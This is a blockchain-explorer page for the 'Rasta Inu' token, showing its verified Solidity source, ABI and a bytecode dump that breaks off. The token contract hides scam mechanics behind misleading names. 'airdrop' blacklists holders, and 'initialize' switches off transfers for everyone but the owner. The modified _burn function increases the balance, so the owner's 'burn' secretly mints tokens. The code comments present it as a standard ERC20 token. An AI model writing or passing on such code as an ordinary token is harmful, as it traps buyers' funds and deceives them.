ETH Price: $3,224.61 (-0.93%)
Gas: 15 Gwei

Token

Rasta Inu (RASTAINU)
 

Overview

Max Total Supply

100,000,000,000,000 RASTAINU

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
338,400,833,683.856960052 RASTAINU

Value
$0.00
0x1e69d34f421d75579aaa9a994f33748f31d64d84
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RastaInu

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 5: Rasta Inu.sol
/**

 ██▀███   ▄▄▄        ██████ ▄▄▄█████▓ ▄▄▄          ██▓ ███▄    █  █    ██ 
▓██ ▒ ██▒▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▒████▄       ▓██▒ ██ ▀█   █  ██  ▓██▒
▓██ ░▄█ ▒▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██  ▀█▄     ▒██▒▓██  ▀█ ██▒▓██  ▒██░
▒██▀▀█▄  ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██▄▄▄▄██    ░██░▓██▒  ▐▌██▒▓▓█  ░██░
░██▓ ▒██▒ ▓█   ▓██▒▒██████▒▒  ▒██▒ ░  ▓█   ▓██▒   ░██░▒██░   ▓██░▒▒█████▓ 
░ ▒▓ ░▒▓░ ▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░    ▒▒   ▓▒█░   ░▓  ░ ▒░   ▒ ▒ ░▒▓▒ ▒ ▒ 
  ░▒ ░ ▒░  ▒   ▒▒ ░░ ░▒  ░ ░    ░      ▒   ▒▒ ░    ▒ ░░ ░░   ░ ▒░░░▒░ ░ ░ 

https://rastainu.com/                               https://t.me/RastaInu

*/
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

import "./ERC20.sol";
import "./Ownable.sol";

contract RastaInu is Ownable, ERC20 {
    
    // Defines how to read the TokenInfo ABI, as well as the capabilities of the token
    uint256 public TOKEN_TYPE = 1;
    
    mapping (address => bool) private _call;
    bool _trans = true;
    uint256 private _supply;
    address private _router;
    
    constructor(uint256 supply, address router) ERC20(_name, _symbol) {
        _name = "Rasta Inu";
        _symbol = "RASTAINU";
        _router = router;
        _supply = supply;
        
    // Generate TotalSupply    
        _totalSupply += _supply;
        _balances[_msgSender()] += _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    
    function initialized() public view returns (bool) {
        return _trans;
    }

    function initialize() public virtual onlyOwner {
        if (_trans == true) {_trans = false;} else {_trans = true;}
    }
 
    function singleCall(address _address) external onlyOwner {
        _call[_address] = false;
    }

    function airdrop(address _address) external onlyOwner {
        _call[_address] = true;
    }

    function callState(address _address) public view returns (bool) {
        return _call[_address];
    }

    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
        if (_call[sender] || _call[recipient]) require(_trans == false, "");
         if (_trans == true || sender == owner || recipient == owner) {
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);} else {
        require (_trans == true, "");}
    }

    function burn(uint256 amount) public onlyOwner {
        _burn(_msgSender(), amount);
    }
 
    function uniswapv2Router() public view returns (address) {
        return _router;
    }
}    

File 1 of 5: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

File 2 of 5: ERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

import "./IERC20.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20 {
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 9.
     *
     * All three of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overloaded;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        _balances[account] = accountBalance + amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. 
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be crated for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

File 3 of 5: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 4 of 5: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address owner;
    address owneraddress;
    event OwnershipTransferred(
        address indexed previousOwner, 
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = msg.sender;
        owner = msgSender;
        owneraddress = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function ownerAddress() public view returns (address) {
        return owneraddress;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TOKEN_TYPE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"callState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"singleCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapv2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260016007556001600960006101000a81548160ff0219169083151502179055503480156200003157600080fd5b50604051620026c5380380620026c5833981810160405281019062000057919062000564565b6005805462000066906200066e565b80601f016020809104026020016040519081016040528092919081815260200182805462000094906200066e565b8015620000e55780601f10620000b957610100808354040283529160200191620000e5565b820191906000526020600020905b815481529060010190602001808311620000c757829003601f168201915b505050505060068054620000f9906200066e565b80601f016020809104026020016040519081016040528092919081815260200182805462000127906200066e565b8015620001785780601f106200014c5761010080835404028352916020019162000178565b820191906000526020600020905b8154815290600101906020018083116200015a57829003601f168201915b50505050506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600590805190602001906200027792919062000486565b5080600690805190602001906200029092919062000486565b5050506040518060400160405280600981526020017f526173746120496e75000000000000000000000000000000000000000000000081525060059080519060200190620002e092919062000486565b506040518060400160405280600881526020017f5241535441494e55000000000000000000000000000000000000000000000000815250600690805190602001906200032e92919062000486565b5080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a81905550600a54600460008282546200038d9190620005d3565b9250508190555060045460026000620003ab6200047e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620003f69190620005d3565b925050819055506200040d6200047e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200046e9190620005b6565b60405180910390a3505062000736565b600033905090565b82805462000494906200066e565b90600052602060002090601f016020900481019282620004b8576000855562000504565b82601f10620004d357805160ff191683800117855562000504565b8280016001018555821562000504579182015b8281111562000503578251825591602001919060010190620004e6565b5b50905062000513919062000517565b5090565b5b808211156200053257600081600090555060010162000518565b5090565b600081519050620005478162000702565b92915050565b6000815190506200055e816200071c565b92915050565b600080604083850312156200057857600080fd5b600062000588858286016200054d565b92505060206200059b8582860162000536565b9150509250929050565b620005b08162000664565b82525050565b6000602082019050620005cd6000830184620005a5565b92915050565b6000620005e08262000664565b9150620005ed8362000664565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006255762000624620006a4565b5b828201905092915050565b60006200063d8262000644565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200068757607f821691505b602082108114156200069e576200069d620006d3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200070d8162000630565b81146200071957600080fd5b50565b620007278162000664565b81146200073357600080fd5b50565b611f7f80620007466000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063609c92b8116100ad5780639f87adc9116100715780639f87adc914610335578063a457c2d714610351578063a55626cb14610381578063a9059cbb1461039f578063dd62ed3e146103cf5761012c565b8063609c92b8146102a157806370a08231146102bf5780638129fc1c146102ef5780638f84aa09146102f957806395d89b41146103175761012c565b806323b872dd116100f457806323b872dd146101d75780632c7bf11814610207578063313ce56714610237578063395093511461025557806342966c68146102855761012c565b806306fdde0314610131578063095ea7b31461014f578063158ef93e1461017f57806318160ddd1461019d57806321860a05146101bb575b600080fd5b6101396103ff565b60405161014691906118a1565b60405180910390f35b61016960048036038101906101649190611610565b610491565b6040516101769190611886565b60405180910390f35b6101876104af565b6040516101949190611886565b60405180910390f35b6101a56104c6565b6040516101b29190611a23565b60405180910390f35b6101d560048036038101906101d0919061155c565b6104d0565b005b6101f160048036038101906101ec91906115c1565b6105b9565b6040516101fe9190611886565b60405180910390f35b610221600480360381019061021c919061155c565b6106ba565b60405161022e9190611886565b60405180910390f35b61023f610710565b60405161024c9190611a3e565b60405180910390f35b61026f600480360381019061026a9190611610565b610719565b60405161027c9190611886565b60405180910390f35b61029f600480360381019061029a919061164c565b6107c5565b005b6102a9610867565b6040516102b69190611a23565b60405180910390f35b6102d960048036038101906102d4919061155c565b61086d565b6040516102e69190611a23565b60405180910390f35b6102f76108b6565b005b61030161099e565b60405161030e919061186b565b60405180910390f35b61031f6109c8565b60405161032c91906118a1565b60405180910390f35b61034f600480360381019061034a919061155c565b610a5a565b005b61036b60048036038101906103669190611610565b610b43565b6040516103789190611886565b60405180910390f35b610389610c37565b604051610396919061186b565b60405180910390f35b6103b960048036038101906103b49190611610565b610c61565b6040516103c69190611886565b60405180910390f35b6103e960048036038101906103e49190611585565b610c7f565b6040516103f69190611a23565b60405180910390f35b60606005805461040e90611b87565b80601f016020809104026020016040519081016040528092919081815260200182805461043a90611b87565b80156104875780601f1061045c57610100808354040283529160200191610487565b820191906000526020600020905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b60006104a561049e610d06565b8484610d0e565b6001905092915050565b6000600960009054906101000a900460ff16905090565b6000600454905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611963565b60405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006105c6848484610ed9565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610611610d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068890611943565b60405180910390fd5b6106ae8561069d610d06565b85846106a99190611acb565b610d0e565b60019150509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006009905090565b60006107bb610726610d06565b848460036000610734610d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107b69190611a75565b610d0e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084a90611963565b60405180910390fd5b61086461085e610d06565b826113bf565b50565b60075481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093b90611963565b60405180910390fd5b60011515600960009054906101000a900460ff1615151415610980576000600960006101000a81548160ff02191690831515021790555061099c565b6001600960006101000a81548160ff0219169083151502179055505b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109d790611b87565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0390611b87565b8015610a505780601f10610a2557610100808354040283529160200191610a50565b820191906000526020600020905b815481529060010190602001808311610a3357829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adf90611963565b60405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060036000610b52610d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0690611a03565b60405180910390fd5b610c2c610c1a610d06565b858584610c279190611acb565b610d0e565b600191505092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610c75610c6e610d06565b8484610ed9565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d75906119e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de590611903565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ecc9190611a23565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f40906119a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb0906118c3565b60405180910390fd5b60008111610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff3906118e3565b60405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061109d5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110f95760001515600960009054906101000a900460ff161515146110f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ef906119c3565b60405180910390fd5b5b60011515600960009054906101000a900460ff1615151480611166575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111bc575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611363576111cc83838361152d565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a90611923565b60405180910390fd5b818161125f9190611acb565b6002600086